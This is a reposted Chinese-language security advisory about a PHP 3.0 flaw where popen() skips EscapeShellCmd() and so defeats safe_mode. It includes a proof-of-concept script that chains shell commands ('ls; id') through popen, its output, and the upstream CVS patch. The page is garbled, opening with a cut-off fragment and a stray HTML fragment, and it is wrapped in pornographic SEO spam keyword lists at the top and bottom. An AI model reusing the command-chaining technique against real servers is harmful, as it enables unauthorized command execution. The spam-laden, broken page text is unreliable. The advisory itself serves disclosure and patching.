--------------------------------------------------------------------------------
描述:

PHP Version 3.0是一個HTML嵌入式腳本語言。其大多數語法移植于C、Java和Perl并結合了 " /> 52色擼99热99,国产精品麻豆a啊在线观看,久久久久综合网久久

天天躁日日躁狠狠躁AV麻豆-天天躁人人躁人人躁狂躁-天天澡夜夜澡人人澡-天天影视香色欲综合网-国产成人女人在线视频观看-国产成人女人视频在线观看

PHP3 safe_mode 失效漏洞

受影響的系統:  php 3.00  
--------------------------------------------------------------------------------
描述:

    php Version 3.0是一個HTML嵌入式腳本語言。其大多數語法移植于C、Java和Perl并結合了
php的特色。這個語言可以讓web開發者快速創建動態網頁。

    因其執行在web服務器上并允許用戶執行代碼,php內置了稱為'safe_mode'的安全特性,
用于控制在允許php操作的webroot環境中執行命令。

    其實現機制是通過強制執行shell命令的系統調用將shell命令傳送到EscapeShellCmd()
函數,此函數用于確認在webroot目錄外部不能執行命令。

    在某些版本的php中,使用popen()命令時EscapeShellCmd()卻失效了,造成惡意用戶可
以利用'popen'系統調用進行非法操作。

--------------------------------------------------------------------------------
測試程序:

警 告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

輸出結果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建議:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <[email protected]> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  

php技術PHP3 safe_mode 失效漏洞,轉載需保留來源!

鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。

主站蜘蛛池模板: 伊人久久国产免费观看视频 | 成人毛片18岁女人毛片免费看 | 为什么丈夫插我我却喜欢被打着插 | 熟女久久久久久久久久久 | 亚州精品视频 | 久久全国免费久久青青小草 | 久久国产成人午夜AV影院无码 | 思思99精品国产自在现线 | 最近日本字幕免费高清 | 动漫美女被爆挤奶歪歪漫画 | 午夜理论片日本中文在线 | 在线观看免费av网 | 国内精品九九视频 | 久久综合老色鬼网站 | 伊人久久综合谁合综合久久 | 扒开女生尿口 | xxxjapanese丰满奶水 | 忘忧草在线影院WWW日本动漫 | 精品国产免费人成视频 | 国产亚洲一区二区三区啪 | 国产伦精品一区二区三区免费观看 | 在线观看免费毛片 | 国产一区私人高清影院 | 国产白丝精品爽爽久久蜜臀 | 蜜臀久久99精品久久久久久做爰 | 无码天堂亚洲国产AV久久 | 国产美女久久久久久久久久久 | 十九岁韩国电影在线观看 | 午夜影院一区二区三区 | 国产日韩欧美综合久久 | 456亚洲人成在线播放网站 | 果冻传媒2021一二三在线观看 | 男女无遮挡吃奶gift动态图 | 男人就爱吃这套下载 | 开心片色99xxxx | 久久视频精品3线视频在线观看 | JEALOUSVUE成熟老师APP | 欧美成人中文字幕在线看 | 日韩欧美亚洲精品综合在线 | 不良网站进入窗口软件下载免费 | 亚洲综合春色另类久久 |